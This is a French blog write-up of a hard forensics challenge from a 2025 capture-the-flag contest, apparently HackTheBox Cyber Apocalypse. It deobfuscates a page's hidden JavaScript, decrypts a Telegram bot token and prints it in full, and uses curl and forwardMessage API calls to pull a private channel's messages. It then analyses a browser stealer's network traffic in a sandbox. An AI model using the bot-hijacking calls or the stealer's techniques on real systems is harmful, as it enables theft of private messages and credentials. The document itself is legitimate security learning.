Traque de cybercriminels

Write-up du challenge Tales for the Brave du CTF Cyber Apocalypse (édition 2025)

Le

La semaine dernière j’ai eu l’occasion de participer au CTF Cyber Apocalypse de Hackthebox dans ma toute nouvelle équipe, j’ai nommé « Subscale ». À cette occasion je vous ai rédigé 3 writeups sur les challenges que j’ai préférés. Mais trêve de blabla, rentrons dans le vif du sujet !

Le challenge

Pour ce deuxième writeup je vous propose un challenge de forensique noté difficile. Au programme, traque de hackeur sur le Web, puis sur télégramme. Reverse de malware sur Windows, desobfuscation de code JavaScript. Pas d'objectif très précis concernant l'emplacement du flag.

Le challenge nous redirige sur un site WEB plutôt simpliste, dont je vous ai mis une capture ci-dessous. L'énoncé nous indique qu'il s'agirait d'un point de communication pour une entité criminelle 🥷.

Inspection du site

À première vue, rien d'anormal. Mais si on ouvre l'œil (et le bon 👀) on remarque rapidement quelque chose d'étrange. En effet, la page charge un code JavaScript.

Code source HTML : le formulaire de newsletter charge un script js/index.js suspect en fin de page

Mais celui-ci est presque illisible.

Navigateur : le script index.js est un code JavaScript obfusqué, rempli de séquences unicode illisibles

Mon 6e sens s'affole et je comprends qu'il s'agit d'un code JavaScript obfusqué.

Un code obfusqué est un code source qui a été délibérément modifié pour le rendre difficile à comprendre tout en maintenant son fonctionnement.

Je lance une console JavaScript sur la page, j'ouvre mon VSCode et j'y copie-colle le code. Il n'y a plus qu'à comprendre ce qu'il fait.

Désobfuscation Javascript

Pour être honnête, je n'ai pas de méthode particulière pour désobfusquer du code JavaScript. Je me contente de jouer sur une analyse dynamique et statique en me servant de la console du navigateur. Dans le cadre de ce challenge, la désobfuscation est une étape plutôt abordable. On remarque qu'un tableau est initialisé au début du code : _$_9b39. Il s'agit d'une variable globale donc on peut tout simplement l'afficher dans la console.

Console JavaScript : le tableau _$_9b39 révèle les chaînes decrypt, AES, Base64 et Utf8 utilisées par le script

Le code déchiffre très certainement des données en AES. On cherche à déterminer si le script fait un appel à la fonction eval pour exécuter un possible code caché (c'est souvent le cas).

VSCode : la recherche de eval montre que le script exécute le code déchiffré en AES

Et mon intuition avait vu juste 🕵️. On peut remplacer le eval par un console.log pour afficher le code caché au lieu de l'exécuter, puis on copie-colle notre code modifié dans la console JavaScript.

Console JavaScript : eval remplacé par console.log affiche le second code caché, lui aussi obfusqué

Malheureusement le code caché est lui aussi obfusqué. Je l'envoie sur JS-Beautifier puis je colle le résultat de VSCode.

VSCode : le code caché reformaté par JS-Beautifier déclare le tableau _$_8b18 et le gestionnaire du formulaire

De la même manière que tout à l'heure le script déclare deux tableaux "_$_8b18" et "_$_5975" que l'on peut afficher dans la console JS.

Console JavaScript : le tableau _$_8b18 contient les noms des champs et méthodes du formulaire newsletter

Console JavaScript : le tableau _$_5975 contient le token chiffré, RC4Drop et l'URL de l'API Telegram

On remarque une référence à l'API de télégramme (_$_5975[13]). En cherchant le code qui utilise cette chaine de caractère, on trouve la fonction réellement intéressante du code, la fonction "f".

function f(oferkfer, icd) {
    const channel_id = -1002496072246;
    var enc_token = _$_5975[0];
    if (oferkfer === G(_$_5975[1]) && CryptoJS[_$_5975[7]](sequence[_$_5975[6]](_$_5975[5]))[_$_5975[4]](CryptoJS[_$_5975[3]][_$_5975[2]]) === _$_5975[8]) {
        var decrypted = CryptoJS[_$_5975[12]][_$_5975[11]](enc_token, CryptoJS[_$_5975[3]][_$_5975[9]][_$_5975[10]](oferkfer), {
            drop: 192
        })[_$_5975[4]](CryptoJS[_$_5975[3]][_$_5975[9]]);
        var HOST = _$_5975[13] + String[_$_5975[14]](0x2f) + String[_$_5975[14]](0x62) + String[_$_5975[14]](0x6f) + String[_$_5975[14]](0x74) + decrypted;
        var xhr = new XMLHttpRequest();
        xhr[_$_5975[15]] = function() {
            if (xhr[_$_5975[16]] == XMLHttpRequest[_$_5975[17]]) {
                const resp = JSON[_$_5975[10]](xhr[_$_5975[18]]);
                try {
                    const link = resp[_$_5975[20]][_$_5975[19]];
                    window[_$_5975[23]][_$_5975[22]](link)
                } catch (error) {
                    alert(_$_5975[24])
                }
            }
        };
        xhr[_$_5975[29]](_$_5975[25], HOST + String[_$_5975[14]](0x2f) + _$_5975[26] + icd + _$_5975[27] + channel_id + _$_5975[28]);
        xhr[_$_5975[30]](null)
    } else {
        alert(_$_5975[24])
    }
};;

En replaçant les _$_5975[i] par leur valeur associée, et les fonctions appelées par leur résultat, on obtient le code ci-dessous :

function f(oferkfer, icd) {
    const channel_id = -1002496072246;
    if (oferkfer === "0p3r4t10n_4PT_Un10n" 
        && CryptoJS.SHA256(sequence.join("")).toString(CryptoJS.enc["base64"]) === 
        "18m0oThLAr5NfLP4hTycCGf0BIu0dG+P/1xvnW6O29g=") {
        var decrypted = CryptoJS.RC4Drop.decrypt("nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q==", CryptoJS.enc["Utf8"].parse(oferkfer), {
            drop: 192
        }).toString(CryptoJS.enc["Utf8"]);
        var HOST = "https://api.telegram.org/bot" + decrypted;
        var xhr = new XMLHttpRequest();
        xhr[_$_5975[15]] = function() {
            if (xhr[_$_5975[16]] == XMLHttpRequest[_$_5975[17]]) {
                const resp = JSON[_$_5975[10]](xhr[_$_5975[18]]);
                try {
                    const link = resp["result"]["text"];
                    window.location.replace(link)
                } catch (error) {
                    alert(_$_5975[24])
                }
            }
        };
        xhr[_$_5975[29]](_$_5975[25], HOST + "/forwardMessage?chat_id=" + icd + "&from_chat_id=" + channel_id + "&message_id=5");
        xhr[_$_5975[30]](null)
    } else {
        alert(_$_5975[24])
    }
}

Je n'ai pas remplacé tous les _$_5975, mais c'est suffisant pour comprendre ce que fait la fonction :
- elle prend deux paramètres "oferkfer" et "icd"
- elle vérifie que "oferkfer" vaut bien "0p3r4t10n_4PT_Un10n" et que le condensat SHA256 encodé en base64 des éléments de la liste "sequence" concaténés vaut bien "18m0oThLAr5NfLP4hTycCGf0BIu0dG+P/1xvnW6O29g=".
- Si ces deux conditions sont validées, elle déchiffre la chaine "nZiIjaXAVuzO4aBCf5eQ5ifQI7rUBI3qy/5t0Djf0pG+tCL3Y2bKBCFIf3TZ0Q==" en RC4Drop, une variante de l'algorithme RC4 (Rivest Cipher 4) avec la clé "oferkfer" (qui vaut, pour rappel, "0p3r4t10n_4PT_Un10n"). Il s'agit de la clé d'API d'un bot télégramme.
- Elle envoie une requête forwardMessage à l'API de télégramme via la clé d'API obtenu précédemment. Cette requête d'API a pour effet de transférer le message d'Id 5 du chanel d'Id -1002496072246 (chanel Télégramme privé car id négatif) vers le chanel d'Id idc passé en paramètre de la fonction.
- Elle récupère le contenu du message (probablement une URL), et redirige l'utilisateur dessus.

On peut afficher la clé d'API du bot Télégramme en reprenant simplement le code de déchiffrement avec les bons paramètres.

Console JavaScript : le déchiffrement RC4Drop révèle la clé d'API du bot Telegram

  • Le petit plus

Si on veut s'intéresser aux conditions nécessaires pour forwardé le message, ce qui n'est pas nécessaire maintenant qu'on dispose de toutes les informations pour le faire nous même, il faut comprendre ce que fait la fonction qui appelle la fonction f.

document[_$_8b18[3]](_$_8b18[14])[_$_8b18[13]](_$_8b18[0], function(e) {
    e[_$_8b18[1]]();
    const emailField = document[_$_8b18[3]](_$_8b18[2]);
    const descriptionField = document[_$_8b18[3]](_$_8b18[4]);
    let isValid = true;
    if (!emailField[_$_8b18[5]]) {
        emailField[_$_8b18[8]][_$_8b18[7]](_$_8b18[6]);
        isValid = false;
        setTimeout(() => {
            return emailField[_$_8b18[8]][_$_8b18[9]](_$_8b18[6])
        }, 500)
    };
    if (!isValid) {
        return
    };
    const emailValue = emailField[_$_8b18[5]];
    const specialKey = emailValue[_$_8b18[11]](_$_8b18[10])[0];
    const desc = parseInt(descriptionField[_$_8b18[5]], 10);
    f(specialKey, desc)
});;

Pour faire simple, cette fonction récupère le contenu des champs email et description. Le champ email correspond au paramètre "oferkfer" de la fonction f. Le champ description doit contenir un nombre, plus précisément l'Id d'un chanel Télégramme. Il est converti en Int et correspond au paramètre "icd" de la fonction.

Il faut également s'intéresser au contenu de la liste séquence, dont le condensat la concaténation des items est comparé à "18m0oThLAr5NfLP4hTycCGf0BIu0dG+P/1xvnW6O29g=". Chaque clique sur une option ajoute son id (c1, c2, c3 ou c4) à la liste séquence. Il faut donc générer toutes les permutations possibles et calculer le condensat associé jusqu'à trouver celle qui correspond.

Le bot télégramme

On a maintenant la clé d'API d'un bot télégramme et un l'id d'un chanel privé utilisé par les criminels. On peut s'en servir pour exfiltrer tous les messages de ce chanel.

Étrangement, on ne peut pas directement lire les messages via l'API de télégramme. Le seul moyen d'y accéder est de les retransmettre sur un chanel télégramme que l'on contrôle. Pour cela, on doit commencer par créer un chanel et y ajouter le bot via son nom d'utilisateur, que l'on peut obtenir via l'endpoint getMe de l'API.

curl https://api.telegram.org/bot7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc/getMe
{
    "ok": true,
    "result": {
        "id": 7767830636,
        "is_bot": true,
        "first_name": "OperationEldoriaBot",
        "username": "OperationEldoriaBot",
        "can_join_groups": true,
        "can_read_all_group_messages": false,
        "supports_inline_queries": false,
        "can_connect_to_business": false,
        "has_main_web_app": false
    }
}

Une fois le bot ajouté sur notre chanel télégramme (ici zoulou945), on utilise la méthode forwardMessage de l'API pour retransmettre les messages.

https://api.telegram.org/bot7767830636:AAF5Fej3DZ44ZZQbMrkn8gf7dQdYb3eNxbc/forwardMessage?chat_id=@zoulou945&from_chat_id=-1002496072246&message_id=<id du message>

En parcourant les id de 1 à 12, on récupère tout les messages que les criminels se sont envoyés.

Telegram : messages transférés du canal criminel avec l'archive Brave.zip, son mot de passe et la description du stealer

Mème : Shrek au sourire narquois, satisfait d'avoir intercepté les messages des criminels

On trouve, parmi ces messages, une archive zip protégée par un mot de passe et son mot de passe. L'archive contient une exécutable pour Windows, que les criminels décrivent comme étant un stealer ciblant le navigateur Brave.

Un "stealer" est un type de malware conçu pour voler des informations sensibles stockées dans les navigateurs, comme des identifiants de connexion, des mots de passe, des cookies de session et des données de formulaires.

Reverse du malware

VirusTotal : 36 antivirus sur 73 détectent le fichier Brave.dll extrait de l'archive comme malveillant

Malgré le fait que le programme n'ait pas l'air très net, j'ai décidé de procéder à un reverse dynamique dans un environnent sandboxé. Mon premier réflexe a été de lancer process monitor (aka proc mon) et de regarder les écritures que fait le programme.

Process Monitor : le malware virus.exe effectue surtout des lectures de registre sans écriture révélatrice

Mais ça n'a pas donné grand-chose. J'ai ensuite décidé d'analyser ses activités sur le réseau et là :

Wireshark : le malware envoie des requêtes DNS vers un domaine .htb qui ne se résout pas

On s'aperçoit qu'il y a des requêtes DNS qui partent pour un serveur zolsc2s65u.htb. Après un rapide et naïf petit ping on s'aperçoit que le nom de domaine n'arrive pas à se résoudre. J'ai alors modifié le fichier de DNS local Windows pour associé l'adresse IP de mon serveur à ce nom de domaine, puis relancer le programme.

Wireshark : après redirection DNS, le malware tente des connexions TCP sur le port 31337, refusées par RST

On voit que ce dernier essaie de se connecter sur le port 31337 en TCP. Je mets donc un netcat en écoute sur ce port et je relance le programme.

Terminal : netcat en écoute sur le port 31337 reçoit une requête HTTP GET envoyée par le malware

Le programme communique en HTTP. Je mets en place rapidement un serveur HTTP honeypot sur ce port avec mon ami GPT et je relance le programme.

Terminal : le serveur HTTP honeypot reçoit une requête POST du malware contenant un token JWT

Je reçois bien une requête HTTP valide, qui contient un token JWT. Je l'analyse sur jwt.io.

jwt.io : le token JWT décodé contient un identifiant de campagne et un champ auth encodé en base64

Je décode le base64 et ... 🥁

Décodeur base64 en ligne : le décodage du champ auth fait apparaître le flag du challenge

J'obtiens le flag 😎.

Accès Restreint

Cet article n'est pas (encore) publique.
Pour obtenir un accès anticipé, contactez-moi.

[[ passwordError ]]

[[ post.title ]]

[[ post.description ]]

Le [[ post.date ]]

[[ tag ]]
[[ currentMatchIndex + 1 ]] / [[ searchMatches.length ]] 0 / 0

Sommaire

Page principale